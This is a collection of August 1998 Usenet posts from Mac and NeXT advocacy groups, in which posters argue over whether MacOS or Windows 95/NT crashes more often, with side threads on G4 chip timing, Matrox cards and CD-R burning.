Date: 5 Aug 1998 04:26:29 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6q8mtl$ds6@news1.panix.com>
References: <slrn6s9r2h.1n2.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <B1EA8A70-2E105@206.165.43.14>
On 2 Aug 98 21:28:14 -0700, Lawson English <english@primenet.com> wrote:
>Not until the multi-processor G4 PowerMacs come along, which will be quite
>some time AFTER MacOS X is released
Didn't technet have an article about the G4 being sampled?
I think that the g4s will be demoed about the same time that MacOSX ships.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 5 Aug 1998 04:26:30 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6q8mtm$ds6@news1.panix.com>
References: <not-2307981300150001@ip-167-019.phx.primenet.com> <Pine.SOL.3.96.980723150745.6484A-100000@ux9.cso.uiuc.edu> <not-2407981240410001@ip-26-162.phx.primenet.com> <Pine.SOL.3.96.980724150050.26891B-100000@ux8.cso.uiuc.edu> <not-2407981816490001@ip-26-140.phx.primenet.com> <Pine.SOL.3.96.980725232001.7987D-100000@ux7.cso.uiuc.edu> <not-2607981725340001@ip-26-178.phx.primenet.com> <Pine.SOL.3.96.980726224322.27762B-100000@ux8.cso.uiuc.edu> <not-2707981327520001@ip-26-031.phx.primenet.com> <Pine.SOL.3.96.980727162726.19424A-100000@ux7.cso.uiuc.edu> <01bdb9f3$8703da10$3643bacd@isdnjhendry> <6pvl66$5ms@news1.panix.com> <joe.ragosta-0108982044400001@elk34.dol.net> <6q1dir$kn7$1@nnrp1.dejanews.com> <SCOTT.98Aug3081521@slave.doubleu.com>
On 3 Aug 98 08:15:21, Scott Hess <scott@nospam.doubleu.com> wrote:
> So I'd guess
>I'm a customer, and if they never come out with a PCI version, I might
>consider myself screwed. [I love those cards.]
But Matrox is still shipping drivers for the older cards.
According to a salesman at a mail order place I buy most of my hardware
from, Matrox will be shipping a g200 "Mystique" PCI. The Millenium line
will be AGP only.
From: tzs@halcyon.com (Tim Smith)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: 4 Aug 1998 22:19:44 -0700
Organization: Northwest Nexus Inc.
Message-ID: <6q8q1g$fd$1@halcyon.com>
References: <35C71113.5BEC@bellatlantic.net> <6q7kmh$bro$1@nnrp1.dejanews.com> <6q7ppb$oae$1@nnrp1.dejanews.com>
In article <6q7ppb$oae$1@nnrp1.dejanews.com>, <quinlan@intergate.bc.ca> wrote:
>> void main ()
>> {
>> strcpy((char *)0);
>> }
>>
>> the app will fail silently since the toolbox was never initialized. You need
>> that to happen before ANYTHING useful comes out of it.
>
>Nope, you don't need to initialize the toolbox unless you make some toolbox
>calls. Also, your call to strcpy needs a second parameter.
It's remotely possible that strcpy uses the toolbox. On systems (I
don't know if PPC is one), a good way to implement strcpy is to first
find the length of the string, and then copy it. (This can be fast, if
it is safe to read past the end of the source string, because you can
use tricks that let you scan the string 4 bytes at a time, and then once
you know the size, you can use an optimized move). If your C library
implements strcpy that way, the copy part might well be a call to
BlockMove.
--Tim Smith
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Tue, 04 Aug 1998 22:51:50 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-0408982251560001@sdn-ar-002casbarp267.dialsprint.net>
References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <6q14vb$5kn$1@andros.cygnus.com> <joe.ragosta-0308981526240001@wil66.dol.net> <6q5l9n$kr4$1@pale-rider.INS.CWRU.Edu> <macghod-0308982307080001@sdn-ar-002casbarp139.dialsprint.net> <6q8mti$ds6@news1.panix.com>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <6q8mti$ds6@news1.panix.com>, sal@panix.com wrote:
> Steve, you thought it was funny when I did the same exact thing to Joe.
> You even put it in your .sig file.
Ummm, Sal,I was angry because the post contained only ad hominum attacks.
I laughed because you made a funny. I have absolutely no problem with
people making sarcastic remarks, but when ones post ONLY has sarcastic
remarks, ad hominum attacks, etc, then I have a problem. If people want
to read posts devoid of facts, reasonable discussion and that *ONLY*
contain flames, they can go to the alt.flame.* hiearchy.
> It is one thing to be angry at Apple, it is another to drive yourself
> crazy over it.
I am not angry with Apple. In fact, I am even cautiously optimistic about
their future. I definitely think, that as far as the short term goes, they
have definitely got past the problems they had. I have made comments
suggesting that people direct others towards the g3 instead of the imac,
but I have nothing against the imac. I have also said I think it will
sell very very well.
Do you have any idea which specific comment I made that the poster
disagreed with? Do you know why he disagreed with it? No, he merely
hurled insults without giving a ounce of discussion or content. That is
what irritated me.
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: Wed, 05 Aug 1998 06:24:39 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6q8tr6$nlg$1@nnrp1.dejanews.com>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca> <6q8a9c$t4$1@lwnws01.ne.highway1.com>
In article <6q8a9c$t4$1@lwnws01.ne.highway1.com>,
jkheit@mediaone.net wrote:
> I wonder how valid a test that is. I think 10 well written lines of code
> could bring down almost any operating system. Not to say that win95 is
> therefor good (I don't think it is), nor is it saying that many other
> operating systems are bad (many are rather good). I think it's just saying
> that many clever people out there can play the crash tune in 10 lines or
> less. Although I might be wrong on this.
Your right, every operating system has bugs and design flaws that can be
exploited to cause the system to crash. I believe that there are two questions
that we should consider:
1) How well does the operating system protect us against malicious programs?
2) How well does the operating system protect us from program bugs?
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: 4 Aug 98 11:43:17
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Aug4114317@slave.doubleu.com>
References: <6or4sj$83a$1@supernews.com>
<Josh.McKee-1907981006510001@pm3a16.rmac.net><6ot75m$16j$1@lwnws01.ne.highway1.com><Josh.McKee-1907981309250001@pm3a13.rmac.net><6ovhg8$qsp@newsb.netnews.att.com><Josh.McKee-2107981856040001@pm3a15.rmac.net><6p45f7$l73$1@nnrp1.dejanews.com><Josh.McKee-2307981802510001@pm3a8.rmac.net><6p9ami$olq$1@nnrp1.dejanews.com><Josh.McKee-2407981743100001@pm3a13.rmac.net><6pc9b1$8qd$1@nnrp1.dejanews.com><Josh.McKee-2507980855240001@pm3a23.rmac.net><6pd4o8$pn2$1@bunyip.cc.uq.edu.au><Josh.McKee-2607981000010001@pm3a6.rmac.net><6pflf6$9t8$1@bunyip.cc.uq.edu.au>
<35BFC76E.109C@geocities.com><6ppbmg$m1p$1@bunyip.cc.uq.edu.au><joe.ragosta-3007980854080001@wil34.dol.net><6pput9$vsd$1@bunyip.cc.uq.edu.au><joe.ragosta-3007981125390001@wil47.dol.net><6prd75$cp2$1@bunyip.cc.uq.edu.au>
<6psqkp$ecf$2@news.spacelab.net><6pssmm$uqs$1@bunyip.cc.uq.edu.au>
<SCOTT.98Aug3100310@slave.doubleu.com>
<6q6cr8$lhq$1@bunyip.cc.uq.edu.au>
In-reply-to: "Christopher Smith"'s message of Tue, 4 Aug 1998 17:22:11 +1000
In article <6q6cr8$lhq$1@bunyip.cc.uq.edu.au>,
"Christopher Smith" <drsmithy@usa.net> writes:
Scott Hess <scott@nospam.doubleu.com> wrote in message
SCOTT.98Aug3100310@slave.doubleu.com...
>In article <6pssmm$uqs$1@bunyip.cc.uq.edu.au>,
> "Christopher Smith" <drsmithy@usa.net> writes:
> Charles W. Swiger <chuck@codefab.com>,
> wrote in message 6psqkp$ecf$2@news.spacelab.net...
> >Burning CD's is a hard realtime task--
>
> My NT system guarantees the CDR program the CPU time it needs
> as well - by setting the priority high enough to pre-empt other
> programs.
>
>"Setting task priority high" is not equivalent to "hard real
>time", as any OS textbook will tell you.
Ok, I used an absolute when I shouldn't have :\. My point was that
rendering the entire system useless should not be necessary, given
a few basic thing explained to the user.
I agree with that part of the sentiment. I just have to do my part
against potential source material that shows NT doing something it
doesn't!
Realistically, the best interface would be one which locks up the UI
tight, with a large-type area saying "Program <...> has taken over the
system in an effort to make sure that the CD-R is written
successfully. Press the button below, and you'll be allowed to take
your CD's life into your own hands."
I will also say that I have not yet had a coaster due to a buffer
underrun in over 300 CDs, and I do the QUake+CD-writing thing on a
fairly regular basis.
It may very well be that the program being discussed is from an
earlier era with smaller buffers and slower CPUs and slower disk
drives, in which case it may have been a sensible decision. I've
written CD-R's using disk images mounted from a remote filesystem -
which just happened to work fine because it was on a 100Mbit segment.
But on a 10Mbit segment, that would be risky.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: jpolaski@NO.wwa.com (Jim Polaski)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: A couple of predictions
Message-ID: <jpolaski-0508980403280001@d153-160.ce.mediaone.net>
References: <6q7s77$spj@newsb.netnews.att.com>
Date: Wed, 05 Aug 1998 08:56:59 GMT
NNTP-Posting-Date: Wed, 05 Aug 1998 03:56:59 CDT
Organization: MediaOne Express -=- Central Region
In article <6q7s77$spj@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> I'm going to make a wild guess :
>
> Two engineering projects may end up being textbook cases,
> just like the first Tacoma Narrows Bridge.
>
> a. Microsoft Windows NT 5.0
> b. Intel's P7/Merced
>
> The reasons :
> * the 30+ million lines of code that make up NT 5.0,
> and what I understand about software engineering.
> NT 5.0 could possibly be the NT 4.0 kernel with bugs
> removed, and 14 to 16 million-line applications that
> obey proper layering, do not interfere with each other,
> etc. In which case, it might work.
=====
last week on Computer Friday, with Ira Flatow on Public Radio, they had
Nicholas Petrely and a few others talking about
OS's...and the comment regarding NT was, "...I don't know how or IF we can
debug 50 MILLION lines of code, efectively!).
So if they're right, its 50 million, not 30...
============
> * For the Merced :
>
> Take a look at the editorial at http://www.chipanalyst.com/,
> "What's wrong with Merced".
>
> Intel will probably succeed with version 2, McKinley.
========
Go read http://www.makido.com
===============
> ****
> AIM, of course, will squander any opportunity these potential
> missteps will provide. This is already in the textbooks.
> (PowerPC in the middle of its lifecycle, IBM's copper and S-O-I
> break-throughs in process technology, Apple having the potential
> for a great OS for the consumer space, and for the business space;
> Altivec -- all these potential advantages will go kaboom !
> This is not a guess :-( )
====
Hmmm , faster silicon this FAll, 1 GIG PPC's next Spring/Summer( using SOI
and Copper)...you miss that the PPC is a mroe than GREAT embedded systems
chip and that pushes development along quite nicely...pair the PPC with OS
X, and with M$ sputtering with NT 5.....
>
> -arun gupta
--
Regards,
Jim Polaski, jpolaski@NO.wwa.com Remove the "NO." to reply.
Polaski P/D/C, 15 West Hubbard, 4th FL, Chicago,Il 60610
...the measure of a man is what he will do for another man,
knowing he will get nothing in return.
Date: Wed, 05 Aug 1998 07:52:51 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <joe.ragosta-0508980752510001@wil62.dol.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <1dciwhu.mt0pxg1hofrbwN@du137-242.ppp.algonet.se> <joe.ragosta-2107981135290001@wil93.dol.net> <1dcjks2.1j283l9qaxvg8N@du137-242.ppp.algonet.se> <joe.ragosta-0408981651440001@wil36.dol.net> <MPG.1031337181046cef98976e@news.itg.ti.com>
In article <MPG.1031337181046cef98976e@news.itg.ti.com>, jmcn@msg.ti.com
(Jason McNorton) wrote:
> In article Joe Ragosta, joe.ragosta@dol.net says...
> > I want some evidence from the REAL WORLD (perhaps you've heard of it). As
> > soon as you can show that Mac OS fails more often than Win95 and that Mac
> > OS causes more data loss (per capita) than Win95, you'll win the argument.
>
> The problem is I don't think there are any studies on this subject to be
> found. All anyone can go on then is personal experience. In my case,
> Macs have been far more crashy than Windows. Until a study proves me
> wrong, I'm correct.
Sorry, it doesn't work that way.
If you want to make an assertion, you need to back it up. Until you can
back up your assertion, it's neither correct nor incorrect--just
completely unfounded.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 05 Aug 1998 07:55:11 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <joe.ragosta-0508980755110001@wil62.dol.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <1dciwhu.mt0pxg1hofrbwN@du137-242.ppp.algonet.se> <joe.ragosta-2107981135290001@wil93.dol.net> <1dcjks2.1j283l9qaxvg8N@du137-242.ppp.algonet.se> <joe.ragosta-0408981651440001@wil36.dol.net> <6q89qq$mvp$1@nnrp1.dejanews.com>
In article <6q89qq$mvp$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <joe.ragosta-0408981651440001@wil36.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > This is nonsense. The issue is that you're alleging that MacOS breaks more
> > than Windows. I'm not interested in the theory because there are plenty of
> > examples on both sides.
>
> We are talking about a small subset of all possible "breaks." I can break my
> system by formatting the hard disk, throwing it against a wall or deleting the
> operating system. But I don't have a problem with any of these things. OTOH, I
> cannot prevent application bugs from crashing my system without a little help
> from the OS. I am not sure how you could argue that, in this sense, the Mac OS
> provides protection than is as good as Windows 95's because it's protection is
> a strict subset of Window 95's.
OK. Let's look at it this way:
A virus can do damage to the system. There are many more viruses for
Windows than for the Mac. Does that inherently make Windows worse? After
all, by your standards, there are more ways to break Windows.
The answer is, "no". Just because there are more ways to break Windows
doesn't inherently make it bad. What matters is how reliable each system
is in real life usage. And no one has been able to show that Win95 is
better than the Mac in this regard.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 05 Aug 1998 07:57:26 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <joe.ragosta-0508980757270001@wil62.dol.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <1dciwhu.mt0pxg1hofrbwN@du137-242.ppp.algonet.se> <joe.ragosta-2107981135290001@wil93.dol.net> <1dcjks2.1j283l9qaxvg8N@du137-242.ppp.algonet.se> <joe.ragosta-0408981651440001@wil36.dol.net> <6q84ju$pc6$1@plo.sierra.com>
In article <6q84ju$pc6$1@plo.sierra.com>, "Earl Malmrose"
<earl.malmrose@nospam.sierra.com> wrote:
> Joe Ragosta wrote in message ...
> >This is nonsense. The issue is that you're alleging that MacOS breaks more
> >than Windows. I'm not interested in the theory because there are plenty of
> >examples on both sides.
>
> Then provide just one example of some code that crashes Windows! I've
> provided several for MacOS. Otherwise, you're just blowing smoke.
Sure. Choose any of the 10,000 viruses for Windows. Including some serious
boot sector viruses. By your definition, that makes Windows worse than the
Mac by a ratio of about 10,000 to 50 or so.
>
> >I want some evidence from the REAL WORLD (perhaps you've heard of it). As
> >soon as you can show that Mac OS fails more often than Win95 and that Mac
> >OS causes more data loss (per capita) than Win95, you'll win the argument.
>
> I'm claiming, that the real world evidence follows the theory (lack of
> memory protection causes more frequent system crashes). You're claiming that
> despite the theory, real world evidence is different. How about you provide
> some evidence, rather that constantly calling for someone else to provide
> it?
You're making a claim about real world experience that you can't back up.
YOU are the one who claims that Macs crash too often. Your claim, you prove it.
>
> >Until you can provide some evidence, you lose.
>
> No, you lose. A bug in a Windows app is less likely to crash the system than
> a bug in a Mac app. Several examples have been posted that crash MacOS, none
> that crash Windows. It likely follows, that MacOS will crash more often,
> unless you can prove that Mac apps have far fewer bugs. Prove it.
So I'm supposed to prove your assertion for you? No thanks. So you're
admitting that you have no evidence to back up your position. I didn't
think so.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 05 Aug 1998 08:14:33 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Message-ID: <joe.ragosta-0508980814330001@wil62.dol.net>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <35c75454.0@news.depaul.edu>
In article <35c75454.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
> In comp.sys.next.advocacy Earl Malmrose
<earl.malmrose@nospam.sierra.com> wrote:
>
>
> > I'm still waiting for someone to post some code that will crash even Win95,
> > not to mention WinNT.
>
> I would, but Microsoft would probably frown on someone posting
> NT itself. ;^)
All you need to do is say "setup.exe". That's guaranteed to cause problems.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: freek@phil.uu.nl (Freek Wiedijk)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: 5 Aug 1998 14:17:39 +0200
Organization: Department of Philosophy, Utrecht University, The Netherlands
Message-ID: <6q9ih3$c6f$1@larry.admin.phil.uu.nl>
References: <joe.ragosta-0508980755110001@wil62.dol.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Joe:
>A virus can do damage to the system. There are many more
>viruses for Windows than for the Mac. Does that inherently
>make Windows worse?
To me, it's a serious disadvantage, yes. A strong reason not
to use Windows.
>The answer is, "no".
Oops. Wrong again. Sheesh.
>What matters is how reliable each system is in real life usage.
Tss! What matters is how users perceive the system. Whether
this perception is accurate is far less important.
Freek
(if it's crap, but the user is happy: _who cares?)_
Date: Wed, 05 Aug 1998 08:18:19 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Message-ID: <joe.ragosta-0508980818200001@wil62.dol.net>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca> <6q8hgo$31i$1@plo.sierra.com>
In article <6q8hgo$31i$1@plo.sierra.com>, "Earl Malmrose"
<earl.malmrose@nospam.sierra.com> wrote:
> Erick Bryce Wong wrote in message <6q85rv$jfs$1@morgoth.sfu.ca>...
> >Earl Malmrose <earl.malmrose@nospam.sierra.com> wrote:
> >>I'm still waiting for someone to post some code that will crash even
> Win95,
> >>not to mention WinNT.
> >
> >Sorry, no actual code, but I found this article on DejaNews a while back:
> >
> >http://x1.dejanews.com/getdoc.xp?AN=151618401&CONTEXT=888058833.1308295445
> >
> >It states that the entire kernel space of Windows 95 is left unprotected,
> >which I also seem to recall from an independent source back when it first
> >shipped. I'm sure I saw a program back then, which zeroed in on kernel
> >memory and started overwriting it, but I have no idea where to find it now,
> >and I don't know enough about Windows memory management to reproduce it :).
> >
> >All I remember is that it seemed extremely simple, probably no more than
> >10 lines of C code.
>
> I'll accept that. That means that MacOS is 10 times easier to crash than
> Win95. To take it one step further, I would venture that Win95 is 10 times
> easier to crash than MacNT.
Let's see. There are 10,000 viruses for Windows and 50 for the Mac. that
means that Windows is 200 times worse than MacOS.
See how silly you sound?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 05 Aug 1998 08:20:07 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Message-ID: <joe.ragosta-0508980820070001@wil62.dol.net>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca> <6q8a9c$t4$1@lwnws01.ne.highway1.com> <6q8tr6$nlg$1@nnrp1.dejanews.com>
In article <6q8tr6$nlg$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <6q8a9c$t4$1@lwnws01.ne.highway1.com>,
> jkheit@mediaone.net wrote:
>
> > I wonder how valid a test that is. I think 10 well written lines of code
> > could bring down almost any operating system. Not to say that win95 is
> > therefor good (I don't think it is), nor is it saying that many other
> > operating systems are bad (many are rather good). I think it's just saying
> > that many clever people out there can play the crash tune in 10 lines or
> > less. Although I might be wrong on this.
>
> Your right, every operating system has bugs and design flaws that can be
> exploited to cause the system to crash. I believe that there are two questions
> that we should consider:
>
> 1) How well does the operating system protect us against malicious programs?
> 2) How well does the operating system protect us from program bugs?
More importantly,
How well does the OS work in real life.
If you had an OS that never crashed in real life (theoretically), would it
be a bad OS just because it has 10,000 potential holes? Of course not.
Real life performance is what matters--not your theory.
In real life, there are 10,000 viruses for Windows and 50 for the Mac. I
guess you your logic that makes Mac OS 200 times better.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 05 Aug 1998 08:27:51 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-0508980827520001@wil62.dol.net>
References: <slrn6s9r2h.1n2.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <B1EA8A70-2E105@206.165.43.14> <6q8mtl$ds6@news1.panix.com>
In article <6q8mtl$ds6@news1.panix.com>, sal@panix.com wrote:
> On 2 Aug 98 21:28:14 -0700, Lawson English <english@primenet.com> wrote:
> >Not until the multi-processor G4 PowerMacs come along, which will be quite
> >some time AFTER MacOS X is released
>
> Didn't technet have an article about the G4 being sampled?
>
> I think that the g4s will be demoed about the same time that MacOSX ships.
I think your timeline is too late. The rumors I've seen say that G4 chips
will be shipping in quantity in the first quarter of 1999. Samples are
certainly expected before the end of 1998.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: 5 Aug 1998 13:02:11 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6q9l4j$773$1@lwnws01.ne.highway1.com>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca> <6q8a9c$t4$1@lwnws01.ne.highway1.com> <6q8tr6$nlg$1@nnrp1.dejanews.com> <joe.ragosta-0508980820070001@wil62.dol.net>
joe.ragosta@dol.net (Joe Ragosta) wrote:
> More importantly,
>
> How well does the OS work in real life.
>
> If you had an OS that never crashed in real life (theoretically), would it
> be a bad OS just because it has 10,000 potential holes? Of course not.
>
> Real life performance is what matters--not your theory.
>
> In real life, there are 10,000 viruses for Windows and 50 for the Mac. I
> guess you your logic that makes Mac OS 200 times better.
In real world performance, almost everyone I know that has a mac tends to
have a system bomb several times a day. On windows95 it's several a week, NT
several a month, Unix too infrequent for any useful stats. YMMV.
--
-- Thanks, be well, take care, later, John Kheit; self expressed --
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
Date: Wed, 05 Aug 1998 09:49:01 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Message-ID: <joe.ragosta-0508980949010001@wil46.dol.net>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca> <6q8a9c$t4$1@lwnws01.ne.highway1.com> <6q8tr6$nlg$1@nnrp1.dejanews.com> <joe.ragosta-0508980820070001@wil62.dol.net> <6q9l4j$773$1@lwnws01.ne.highway1.com>
In article <6q9l4j$773$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> joe.ragosta@dol.net (Joe Ragosta) wrote:
> > More importantly,
> >
> > How well does the OS work in real life.
> >
> > If you had an OS that never crashed in real life (theoretically), would it
> > be a bad OS just because it has 10,000 potential holes? Of course not.
> >
> > Real life performance is what matters--not your theory.
> >
> > In real life, there are 10,000 viruses for Windows and 50 for the Mac. I
> > guess you your logic that makes Mac OS 200 times better.
>
> In real world performance, almost everyone I know that has a mac tends to
> have a system bomb several times a day. On windows95 it's several a week, NT
> several a month, Unix too infrequent for any useful stats. YMMV.
And my experience is completely different. My Mac almost never crashes,
while I had NT going down a couple of times a day.
Which is why I don't trust anecdotal evidence. As soon as you can provide
data from an independent third party who did a reasonable comparison, it
will be valid.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: Crash-o-RAMA (was: Re: '97 Mac entrant)
Date: Wed, 05 Aug 1998 09:05:21 -0600
Organization: Prairie Group
Message-ID: <don.brown-0508980905210001@dsm-ia1-05.ix.netcom.com>
References: <35C71113.5BEC@bellatlantic.net> <6q7jkq$g7n$1@plo.sierra.com> <6q85rv$jfs$1@morgoth.sfu.ca> <6q8a9c$t4$1@lwnws01.ne.highway1.com> <6q8tr6$nlg$1@nnrp1.dejanews.com>
In article <6q8tr6$nlg$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
>Your right, every operating system has bugs and design flaws that can be
>exploited to cause the system to crash. I believe that there are two questions
>that we should consider:
>
>1) How well does the operating system protect us against malicious programs?
Neither Win95/98 nor any version that has shipped of MacOS does very well
against this.
>2) How well does the operating system protect us from program bugs?
Win95 - B+
MacOS 6.x and earlier - C-
MacOS 7.x - C to C+
MacOS 8 - B
Donald
From: jmcn@msg.ti.com (Jason McNorton)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Wed, 5 Aug 1998 08:48:44 -0500
Organization: Texas Instruments
